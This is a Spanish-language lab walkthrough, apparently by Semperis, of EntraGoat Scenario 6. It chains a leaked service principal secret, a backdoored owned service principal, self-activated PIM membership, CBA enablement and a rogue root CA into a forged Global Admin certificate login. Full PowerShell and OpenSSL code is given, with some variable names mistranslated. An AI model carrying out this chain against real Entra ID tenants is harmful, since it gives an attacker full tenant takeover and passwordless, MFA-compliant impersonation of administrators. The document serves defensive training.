Jonathan Elkabas y Tomer Nahum

Nota del editor

Este escenario forma parte de una serie de ejemplos que demuestran el uso de EntraGoatnuestro entorno de simulación Entra ID. Puede leer una descripción general de EntraGoat y su valor aquí.


Autorización para eludir certificados-Acceso a raíz concedido

El Escenario 6 de EntraGoat detalla una técnica de escalamiento de privilegios en Microsoft Entra ID donde el jugador comienza con credenciales de bajo privilegio y logra acceso de Administrador Global encadenando principales de servicio mal configurados, roles de aplicación sobre-permisivos, y funcionalidad legítima de autenticación basada en certificado (CBA).

Utilizando credenciales filtradas de un principal de servicio heredado, el atacante pivota a través de la identidad propia, abusa de permisos privilegiados para modificar la configuración de todo el inquilino, habilita CBA a través de un usuario elegible para la Gestión de Identidades Privilegiadas (PIM) para Grupos, y carga una autoridad de certificados raíz falsa. El resultado es la suplantación sin contraseña y compatible con MFA de un administrador global, lo que permite la toma de control completa y la persistencia del inquilino.


Visión general de la ruta de ataque

  1. Historia del punto de apoyo inicial: El atacante obtiene credenciales de cliente codificadas para un principal de servicio de automatización heredado incrustado en un antiguo repositorio de PowerShell.
  2. Pivote a través de la propiedad: Se comprueba que la entidad de seguridad de servicio heredada es propietaria de otra entidad de seguridad de servicio. Utilización de Application.ReadWrite.OwnedBy, el atacante backdoors el segundo principal de servicio mediante la adición de un secreto y pivotes a la misma.
  3. Abuso de la configuración del inquilino: El segundo servicio principal tiene Organization.ReadWrite.All permiso. Aunque no es capaz de gestionar usuarios o roles, este permiso permite modificar las configuraciones de todo el inquilino, incluidos los ajustes de autenticación.
  4. Habilitación de la autenticación basada en certificados (CBA) mediante la asignación PIM basada en grupos: Se descubre que un usuario al que tiene acceso el atacante es elegible para PIM en un grupo que tiene el Authentication Policy Administrator rol. Después de activar la membresía, el atacante habilita CBA a través del inquilino.
  5. Establecimiento de confianza con una autoridad de certificación (CA) raíz maliciosa: El atacante genera y carga una CA raíz falsa en el inquilino, convirtiéndolo en un proveedor de identidad de confianza.
  6. Suplantación del Administrador Global: Por último, el atacante crea un certificado de cliente para una cuenta de Global Admin, lo firma con la CA raíz maliciosa y utiliza CBA para autenticarse, logrando una autenticación sin contraseña y compatible con MFA.

Flujo de ataque

La figura 1 muestra el flujo de este ataque.

Figura 1. Flujo del escenario de ataque Certificate Bypass Authority-Root Access Granted

Por qué los equipos de seguridad deben comprender los errores de configuración de Entra ID

Esta cadena de ataque se aprovecha tanto de errores de configuración comunes como de patrones de diseño fundamentales en Entra ID que a menudo son malinterpretados o descuidados en entornos del mundo real.

  • La deuda de automatización heredada es real. Los principales de servicio creados para la automatización pueden permanecer sin gestionar después del despliegue. Con el tiempo, esto puede conducir a un exceso de permisos y propiedad sobre otros principales de servicio, creando cadenas de privilegios ocultas. Además, una mala gestión de los secretos, como las credenciales codificadas en secuencias de comandos, suelen permanecer en su lugar una vez que "todo funciona", lo que da lugar a rutas de acceso duraderas y no supervisadas.
  • La propiedad de entidades de seguridad otorga derechos de gestión de credenciales. Muchas organizaciones no auditan las cadenas de propiedad de Service Principal ni son conscientes de sus implicaciones.
  • Los permisos no existen de forma aislada. El ataque se basa en una combinación de permisos que parecen de alcance limitado cuando se ven individualmente. Sin embargo, cuando se combinan, habilitan cambios de configuración que permiten suplantar identidades privilegiadas a través de mecanismos de autenticación legítimos:
    • Application.ReadWrite.OwnedBy permite gestionar los principales de servicio propiedad de una aplicación que llama.
    • Organization.ReadWrite.All permite modificar los parámetros de configuración de toda la organización.
    • Authentication Policy Administrator (o Policy.ReadWrite.AuthenticationMethod) activa y configura la CBA.
  • Por último, la ACB perfora el límite de confianza del tenant. Una vez configurada, la CA externa se convierte en un emisor de identidades válido para cualquier usuario del tenant.

NOTA: Los antecedentes teóricos sobre el modelo de aplicación de Entra ID, así como la autenticación basada en certificados tanto para el inicio de sesión de usuario interactivo como para los flujos de aserción de cliente OAuth, se trataron en el Escenario 2 en el blog. Recomendamos revisarlo primero para un contexto apropiado.


Cómo detectar y defenderse de la explotación de la autenticación basada en certificados

Los errores de configuración como los explotados en este escenario a menudo se pasan por alto, pero pueden llevar a un compromiso total de un inquilino Entra ID. Para ayudar a las organizaciones a identificar las rutas de ataque antes de que se pueda abusar de ellas, Las soluciones de Semperis proporcionan indicadores de exposición (IOE) e indicadores de compromiso (IOC) para detectar y alertar sobre valores predeterminados y configuraciones erróneas peligrosas, incluido un indicador para la persistencia de autenticación basada en certificados y comprobaciones adicionales que evalúan la postura de seguridad de los entornos Entra ID.


Escenario en profundidad: Recorrido paso a paso de la solución

Echemos un vistazo a los pasos necesarios para crear una autoridad de certificación raíz fraudulenta que pueda desbloquear todo el inquilino Entra ID.


Paso 1: Afianzamiento inicial con credenciales principales de servicio codificadas.

Comenzamos con un secreto filtrado "encontrado" en un repositorio heredado de PowerShell perteneciente a un script de automatización obsoleto, que se muestra en la Figura 2 .

Figura 2. Un secreto filtrado inicia la configuración del escenario

Usando esas credenciales, nos autenticamos como el principal del servicio, como muestra la Figura 3 .

Figura 3. Autenticación como principal de servicio obsoleto

La validación confirma la autenticación correcta para Legacy-Automation-Service. Comprobamos los permisos asignados a la identidad, y destaca un permiso clave (Figura 4).

Figura 4. El sitio Application.ReadWrite.OwnedBy permiso asignado a la identidad de la aplicación

En Application.ReadWrite.OwnedBy concede a la aplicación que llama la capacidad de realizar las mismas operaciones que Application.ReadWrite.All para gestionar (read/update/delete), pero sólo en los objetos de aplicación para los que el autor de la llamada aparece explícitamente como propietario. Esto permite escenarios de automatización estrechamente delimitados sin exponer una amplia gestión de aplicaciones en todo el directorio.

Como se demuestra en Escenario 1la propiedad sobre un servicio principal permite la gestión de credenciales, incluyendo la adición de secretos de cliente. Para explorar objetivos potenciales, enumeramos todos los servicios principales en el inquilino y comprobamos cuáles son propiedad de la identidad autenticada en ese momento(Figura 5).

Figura 5. Enumeración de principales de servicio en el inquilino Entra ID

Se ha encontrado la titularidad principal del servicio: DataSync-Production.

Dato curioso: Es imposible establecer una entidad de seguridad de servicio como propietario de otra entidad de seguridad de servicio a través de la interfaz de usuario del portal de Azure o del centro de administración de Entra, a pesar de que la propiedad es visible allí(Figura 6). Sólo se permiten identidades de usuario.

Figura 6. Visualización de la propiedad principal del servicio en el centro de administración de Entra

Configuramos la propiedad de la entidad de seguridad del servicio en el script de configuración llamando directamente a la Graph API, que admite esta operación:

      $OwnerParams = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$($LegacySP.Id)"
}
New-MgServicePrincipalOwnerByRef -ServicePrincipalId $DataSyncSP.Id -BodyParameter $OwnerParams

Paso 2: Evaluación del objetivo de pivote

Ahora necesitamos comprobar si el principal de servicio que poseemos es una ruta viable de escalada de privilegios. Podemos reutilizar el sencillo Get-ServicePrincipalRoles función de Escenario 1 para enumerar las asignaciones de funciones de directorio:

      function Get-ServicePrincipalRoles {
    param([object]$ServicePrincipal)
    Write-Host "Checking roles for: $($ServicePrincipal.DisplayName)"
    $roleAssignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($ServicePrincipal.Id)'" -ErrorAction SilentlyContinue
    $roles = @()
    
    if ($roleAssignments) {
        foreach ($assignment in $roleAssignments) {
            $roleDefinition = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $assignment.RoleDefinitionId
            $roles += $roleDefinition
            Write-Host "   Role: $($roleDefinition.DisplayName)" -ForegroundColor Green
        }
    } else {
        Write-Host "   No directory roles assigned"
    }
    return $roles
}

Como muestra la Figura 7 , no se asigna ninguna función de directorio.

Figura 7. Enumeración inicial sin funciones de directorio

Pero como ya sabemos, los roles de directorio no son el único vector con principales de servicio. ¿Qué pasa con los roles de aplicación(Figura 8)?

Figura 8. Enumeración de las funciones de las aplicaciones

Como en otros escenarios, Directory.Read.All se ha concedido probablemente sólo para simplificar la fase de enumeración. Más interesante aún, el principal del servicio también tiene la Organization.ReadWrite.All función de la aplicación. Este permiso a menudo se pasa por alto, pero tiene capacidades de gran impacto. Aunque no otorga control sobre usuarios, grupos o roles, permite modificar la configuración de todo el inquilino, como la marca de la empresa y las políticas de autenticación. De hecho, como se demuestra en el excelente blog de investigación SpecterOps Persistencia sin contraseña y escalada de privilegios en Azure1, este permiso es suficiente para añadir una nueva CA raíz al inquilino Entra IDque puede firmar certificados de usuario falsificados para el inicio de sesión basado en certificados.

Dado esto, nuestro siguiente paso es añadir un secreto de cliente al principal del servicio:

      $secretDescription = "Totally-Legit-EntraGoat-Secret-$(Get-Date -Format 'yyyyMMdd-HHmmss')"
$contraseñaCredencial = @{
    DisplayName = $secretDescription
    EndDateTime = (Get-Date).AddYears(1)
}

$newSecret = Add-MgServicePrincipalPassword -ServicePrincipalId $dataSyncSP.Id -PasswordCredential $passwordCredential
$dataSyncSecret = $newSecret.SecretText # guárdelo para más tarde

Paso 3: Pivotar al principal del servicio DataSync-Production

Aunque ahora podemos cargar una entidad emisora de certificados raíz "de confianza", no podemos utilizarla para suplantar identidades porque no podemos activar la CBA (Figura 9), que requiere Policy.ReadWrite.AuthenticationMethod permiso o la Authentication Policy Administrator ninguna de las cuales está asignada a la función DataSync-Production servicio principal.

Figura 9. La ACB está prohibida

Tras agotar las opciones de enumeración bajo la identidad de este SP, nos encontramos en un callejón sin salida. No hay habilitación CBA.

Pero ESPERA: ¿Hemos mirado lo que nuestro usuario comprometido, terence.mckenna¿tiene acceso a?


Paso 4: Centrarse en el contexto del usuario

¿Pertenece Terence a algún grupo(Figura 10)?

Figura 10. Exploración de las posibles pertenencias a grupos de Terence

Nada más allá del grupo de inquilinos por defecto.

¿Propiedad de algún grupo(Figura 11)?

Figura 11. Exploración de la posible propiedad de grupo de Terence

Ninguna. ¿Algún director de servicio en propiedad(Figura 12)?

Figura 12. No hay directores de servicios propiedad de Terence

Todavía nada. ¿Algún PIM apto para la asignación de grupos(figura 13)?

Figura 13. Por fin, elegibilidad de grupo para Terence

¡Sí! Terence puede optar al Authentication Policy Managers grupo.

Comprobemos qué funciones desempeña el Authentication Policy Managers se asigna el grupo (Figura 14).

Figura 14. Comprobación de funciones para el Authentication Policy Managers grupo

Son papeles muy privilegiados.

  • Application Administrator permite un control total sobre todas las aplicaciones en el tenant, incluyendo la capacidad de añadir secretos o certificados a cualquier servicio principal. (Incluimos intencionadamente este rol para soportar múltiples rutas de ataque de diversa complejidad).
  • Authentication Policy Administratory, lo que es más importante, nos otorga la capacidad de activar la ACB, el control exacto que nos faltaba para avanzar con la cadena de ataque.

NOTA: Dado que este es (actualmente) el escenario final en la serie EntraGoat, incluimos intencionalmente algunos de estos pasos de enumeración sin salida para ilustrar el proceso de pensamiento detrás del descubrimiento de privilegios. La exploración sistemática tanto de los principales de servicio como de las identidades de usuario es crítica para identificar caminos viables de escalamiento en Entra ID.


Paso 5: Activación de la asignación PIM

Ahora que hemos identificado la elegibilidad para el Authentication Policy Managers grupo, podemos autoactivar la asignación PIM utilizando la Graph API:

      $activationBody = @{
    accessId = "member"
    principalId = $currentUser.Id
    groupId = $authGroup.Id
    action = "selfActivate"
    scheduleInfo = @{
        startDateTime = (Get-Date).ToUniversalTime().ToString("o")
        expiration = @{
            type = "afterDuration"
            duration = "PT8H"
        }
    }
    justification = "Need to configure authentication policies for support tickets"
} 

Invoke-MgGraphRequest -Method POST `
    -Uri "https://graph.microsoft.com/beta/identityGovernance/privilegedAccess/group/assignmentScheduleRequests" `
    -Body $activationBody -ContentType "application/json"

Tras un breve retardo de propagación, podemos volver a comprobar la pertenencia al grupo para confirmar el estado activo(Figura 15).

Figura 15. Confirmación de que hemos establecido una pertenencia activa al grupo

Paso 6: Activar la autenticación basada en certificados

Con la pertenencia a un grupo activa, podemos activar la CBA para todo el inquilino. En primer lugar, consultamos el objeto de configuración CBA actual(Figura 16).

Figura 16. Bonito nombre de función

A continuación, habilitamos CBA utilizando la siguiente carga útil para la configuración actualizada:

      $actualizarParámetros = @{
    Estado = "habilitado"
    "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration"
    certificateUserBindings = @(
        @{
            x509CertificateField = "NombrePrincipal"
            userProperty = "userPrincipalName"
            prioridad = 1
        }
    )
    authenticationModeConfiguration = @{
        x509CertificateAuthenticationDefaultMode = "x509CertificateSingleFactor"
        rules = @()
    }
}
   
Update-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration `
    -AuthenticationMethodConfigurationId "X509Certificate" -BodyParameter $updateParams

Y comprobamos que la ACB está ahora activada(Figura 17).

Figura 17. CBA activado

NOTA: Este cambio también puede aplicarse interactivamente a través del centro de administración de Entra:

  • Inicio de sesión en https://entra.microsoft.com con la cuenta de Terence
  • Navegando hacia: Entra ID → Métodos de autenticación → Políticas → Autenticación basada en certificados.
  • Conmutación del estado a Activar, como muestra la Figura 18
Figura 18. CBA activada a través del centro de administración de Entra

Dependiendo de la política del inquilino, la configuración MFA puede ser necesaria para Terence en el primer inicio de sesión.


Paso 7: Cargar la autoridad de certificación raíz maliciosa

Ahora que la CBA está activada, volvemos al DataSync-Production y autenticarse utilizando el secreto de cliente que le añadimos previamente para añadir una CA raíz a las CA de confianza del inquilino.

      Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $dsCred

NOTA: Crear, configurar y cargar una CA raíz y un certificado de cliente en Entra ID mediante CLI es un proceso de varios pasos con varios puntos de fallo. Entra ID impone un formato específico para el campo UPN en la extensión SAN que PowerShell lucha por generar con el OID requerido. Para evitar estos escollos, utilizamos OpenSSL para generar tanto la CA raíz como el certificado de cliente.

Comenzamos configurando la estructura de la CA con el siguiente script:

      $opensslBinary = "C:\Program Files\OpenSSL-Win64\bin\openssl.exe"

$adminUPN = (Get-MgUser -Filter "startswith(userPrincipalName,'EntraGoat-admin-s6')").UserPrincipalName

# Setup CA directory structure
$caWorkspace = "$env:TEMP\EntraGoat-CA"
if (Test-Path $caWorkspace) {
    Set-Location $env:TEMP
    Remove-Item $caWorkspace -Recurse -Force
}
@("$caWorkspace", "$caWorkspace\ca", "$caWorkspace\ca\issued") | ForEach-Object {
    New-Item -Path $_ -ItemType Directory -Force | Out-Null
}

# Initialize database (as OpenSSL requires specific format)
New-Item -Path "$caWorkspace\ca\index.db" -ItemType File -Force | Out-Null
"01" | Out-File "$caWorkspace\ca\serial" -Encoding ASCII -NoNewline

# Root Certificate Authority configuration
$caConfig = @"
[ ca ]
default_ca = entragoat_ca

[ entragoat_ca ]
dir = ./ca
certs = `$dir
new_certs_dir = `$dir/issued
database = `$dir/index.db
serial = `$dir/serial
RANDFILE = `$dir/.rand
certificate = `$dir/entragoat-root.cer
private_key = `$dir/entragoat-root.key
default_days = 730
default_crl_days = 30
default_md = sha256
preserve = no
policy = trust_no_one_policy

[ trust_no_one_policy ]
countryName = optional
stateOrProvinceName = optional
localityName = optional
organizationName = optional
organizationalUnitName = optional
commonName = optional
emailAddress = optional

[req]
x509_extensions = user_cert
req_extensions = v3_req

[ user_cert ]
subjectAltName = @alt_names

[ v3_req ]
subjectAltName = @alt_names

[alt_names]
otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN
"@

# Client certificate configuration with SAN extension
$clientConfig = @"
[req]
x509_extensions = user_cert
req_extensions = v3_req

[ user_cert ]
subjectAltName = @alt_names

[ v3_req ]
subjectAltName = @alt_names

[alt_names]
otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN
"@

# output configuration to files
$caConfig | Out-File "$caWorkspace\ca.conf" -Encoding ASCII
$clientConfig | Out-File "$caWorkspace\client.conf" -Encoding ASCII

Set-Location $caWorkspace

# Generate root CA private key
& $opensslBinary genrsa -out ca\entragoat-root.key 4096

# Create root certificate for entra trust
& $opensslBinary req -new -x509 -days 3650 -key ca\entragoat-root.key -out ca\entragoat-root.cer -subj "/CN=EntraGoat Evil Root CA/O=EntraGoat Security/C=US"

Write-Output "Root CA certificate path: $caWorkspace\ca\entragoat-root.cer" # upload this to the tenant

Una vez preparada la infraestructura de CA maliciosa, el contenido de $caWorkspace\ca\ deben parecerse a los archivos que Figura 19 espectáculos.

Figura 19. Salida a $caWorkspace\ca\

Ahora podemos cargar nuestro certificado raíz personalizado en la lista de autoridades de certificación de confianza de Entra ID:

      # Load the root certificate
$rootCA = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("$caWorkspace\ca\entragoat-root.cer")

$caAuthority = @{
    isRootAuthority = $true
    certificate = [System.Convert]::ToBase64String($rootCA.GetRawCertData())
}

# get existing CBA configuration
try {
    $existingConfigs = Invoke-MgGraphRequest -Method GET `
        -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration"
    
    if ($existingConfigs.value -and $existingConfigs.value.Count -gt 0) {
        # Update existing config
        $configId = $existingConfigs.value[0].id
        $existingCAs = $existingConfigs.value[0].certificateAuthorities
        
        # Add new CA to existing ones
        $updatedCAs = $existingCAs + @($caAuthority)
        
        $updateBody = @{
            certificateAuthorities = $updatedCAs
        } | ConvertTo-Json -Depth 3
        
        $response = Invoke-MgGraphRequest -Method PATCH `
            -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration/$configId" `
            -Body $updateBody `
            -ContentType "application/json"
    } else {
        throw "No existing configuration found"
    }
}
catch {
    # Create new CBA configuration
    $body = @{
        certificateAuthorities = @($caAuthority)
    } | ConvertTo-Json -Depth 3
    
    $response = Invoke-MgGraphRequest -Method POST `
        -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration" `
        -Body $body `
        -ContentType "application/json"
}

Y compruebe que la carga se ha realizado correctamente y que el certificado es ahora de confianza para el inquilino:

      $configs = Invoke-MgGraphRequest -Method GET `
    -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration"

$uploadSuccess = $false
if ($configs.value -and $configs.value.Count -gt 0) {
    foreach ($ca in $configs.value[0].certificateAuthorities) {
        $certBytes = [Convert]::FromBase64String($ca.certificate)
        $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($certBytes)
        
        if ($cert.Thumbprint -eq $rootCA.Thumbprint) {
            Write-Output "[+] Root CA successfully uploaded to tenant"
            Write-Output "    Thumbprint: $($cert.Thumbprint)"
            Write-Output "    Subject: $($cert.Subject)"
            $uploadSuccess = $true
            break
        }
    }
}

if (-not $uploadSuccess) {
    Write-Output "[-] Failed to verify root CA upload. Please check the configuration." 
}

Estupendo. La CA raíz ya está cargada(Figura 20).

Figura 20. Confirmación de la carga correcta de la CA raíz Confirmación de la carga correcta de la CA raíz

Con la CA falsa aceptada y de confianza, ahora podemos emitir un certificado de cliente para cualquier identidad (incluida la de EntraGoat-admin-s6 usuario) y firmarlos usando nuestra nueva y totalmente legítima CA raíz:

      # Generar la clave privada del certificado del cliente y la solicitud de firma
& $opensslBinary req -new -sha256 -config client.conf -newkey rsa:4096 -nodes -keyout "$adminUPN.key" -out "$adminUPN.csr" -subj "/C=US/ST=Washingaot/L=EvilDistrict/O=EntraGoat/OU=Security/CN=$adminUPN"

# Firmar el certificado del cliente con la CA raíz
& $opensslBinary ca -batch -md sha256 -config ca.conf -extensions v3_req -out "$adminUPN.crt" -infiles "$adminUPN.csr"

# Convertir a formato PFX para instalación en Windows
¡& $opensslBinary pkcs12 -inkey "$adminUPN.key" -in "$adminUPN.crt" -export -out "$adminUPN.pfx" -password pass:EntraGoat123!

Paso 8: Autenticación sin contraseña en GA

Para completar la ruta de escalada privilegiada:

1. Instale el .pfx certificado ubicado en $caWorkspace en su máquina local (Figura 21). La contraseña de importación es EntraGoat123!.

Figura 21. Instalación del .pfx certificado

2. Siga las instrucciones del Asistente para la importación de certificados. Tras la instalación, confirme que el certificado aparece en certmgr.msc en Personal → Certificadoscomo Figura 22 espectáculos.

Figura 22. Confirmación de nuestro certificado raíz maligno

3. Navegue hasta https://portal.azure.com o https://entra.microsoft.com/.
4. Introduzca el UPN del EntraGoat-admin-s6 cuenta.
5. Cuando se le solicite, seleccione el certificado instalado (Figura 23).

Figura 23. Selección del certificado raíz maligno

Paso 9: Resolución de problemas de enlace CBA y MFA

Si la autenticación falla con Certificate validation failed, es probable que se deba a parámetros de certificado mal configurados o a errores de formato SAN/OID.

Sin embargo, si llega correctamente a la pregunta ¿Sigue conectado? y a continuación se le redirige a Elija una forma de iniciar sesión, esto indica que:

  • El certificado es válido
  • La ACB está activada
  • Pero la política de vinculación de autenticación del inquilino clasifica los certificados como autenticación de factor único
  • Y las políticas de los inquilinos requieren autenticación multifactor para el acceso privilegiado

En ese caso, el valor por defecto del modo x509CertificateAuthenticationDefaultMode se establece en factor único x509CertificateSingleFactor y, por ello, la ACB no satisface por sí sola los requisitos del AMF (Figura 24) y no puede utilizarse para acceder a cuentas privilegiadas.

Figura 24. MFA sigue siendo necesario

Para solucionarlo, se Authentication Policy Administrator puede actualizar el modo de enlace por defecto a x509CertificateMultiFactorpermitiendo a la ACB cumplir los requisitos del AMF (Figura 25).

Figura 25. Configuración del cumplimiento de la AMF

Podemos establecer CBA con el contexto de seguridad del usuario Terence:

      # Get current config
$current = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate"

# Check current mode
$current.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode

# change to MultiFactor if needed
$params = @{
    "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration"
    id = "X509Certificate"
    certificateUserBindings = $current.certificateUserBindings
    authenticationModeConfiguration = @{
        x509CertificateAuthenticationDefaultMode = "x509CertificateMultiFactor"
        x509CertificateDefaultRequiredAffinityLevel = "low"
        rules = @()
    }
    includeTargets = $current.includeTargets
    excludeTargets = $current.excludeTargets
    state = "enabled"
    issuerHintsConfiguration = $current.issuerHintsConfiguration
    crlValidationConfiguration = $current.crlValidationConfiguration
    certificateAuthorityScopes = @()
}

# Apply changes
Invoke-MgGraphRequest -Method PATCH -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate" -Body ($params | ConvertTo-Json -Depth 10)

# Verify change
$updated = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate"
$updated.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode

Alternativa (GUI): También puede configurarlo a través del portal de administración Entra(Figura 26). Siga esta ruta:

Entra ID → Métodos de autenticación → Políticas → Autenticación basada en certificados → Configurar.

En Vinculación de autenticación, establezca Intensidad de autenticación predeterminada en Factor múltiple.

Figura 26. Configuración de la conformidad MFA en el portal de administración Entra

Con esta política en su lugar, el certificado de cliente falsificado ahora se puede utilizar para iniciar sesión como EntraGoat-admin-s6, totalmente sin contraseña y compatible con MFA, completando la cadena de ataque y concediendo acceso de administrador global para recuperar la bandera desde la interfaz de usuario (Figura 27).

Figura 27. Bandera capturada

Una vez completado el escenario, ejecutamos el script de limpieza para restaurar el inquilino a su estado original.


Lección aprendida: Los errores de configuración abren vías de ataque

Este escenario revela cómo las malas configuraciones encadenadas a través de los principales de servicio, las asignaciones de roles de aplicaciones y las configuraciones de autenticación pueden ser utilizadas como armas para lograr el compromiso total del inquilino de Entra ID sin siquiera interactuar con las contraseñas de los usuarios.

Comienza con credenciales filtradas para un principal de servicio heredado con pocos privilegios, lo que es común en la expansión de la automatización, y se intensifica abusando de los permisos pasados por alto de Application.ReadWrite.OwnedBy y Organization.ReadWrite.All.

Al pivotar entre los principales de servicio propios y activar una asignación de grupo basada en PIM, el atacante habilita CBA y carga una CA raíz maliciosa en el inquilino.

Finalmente, emitiendo un certificado de cliente falsificado para la cuenta Global Admin, cambiando la regla de la política de enlace de autenticación del inquilino en los certificados para satisfacer los requisitos de MFA, e iniciando sesión con él a través de CBA, el atacante se salta las contraseñas y MFA.

Esta ruta de ataque expone brechas pasadas por alto en los límites de confianza y la arquitectura de identidad, mostrando cómo la identidad se ha convertido en el nuevo perímetro, susceptible a desconfiguraciones en capas y cadenas de privilegios no intencionadas.


Explora todos los desafíos de EntraGoat


Nota final

  1. https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f

Descargo de responsabilidad

Este contenido se proporciona únicamente con fines educativos e informativos. Su objetivo es promover la concienciación y la corrección responsable de las vulnerabilidades de seguridad que puedan existir en los sistemas que usted posee o está autorizado a probar. El uso no autorizado de esta información con fines maliciosos, explotación o acceso ilegal está estrictamente prohibido. Semperis no respalda ni aprueba ninguna actividad ilegal y declina toda responsabilidad derivada del uso indebido del material. Además, Semperis no garantiza la exactitud o integridad del contenido y no asume ninguna responsabilidad por los daños derivados de su uso.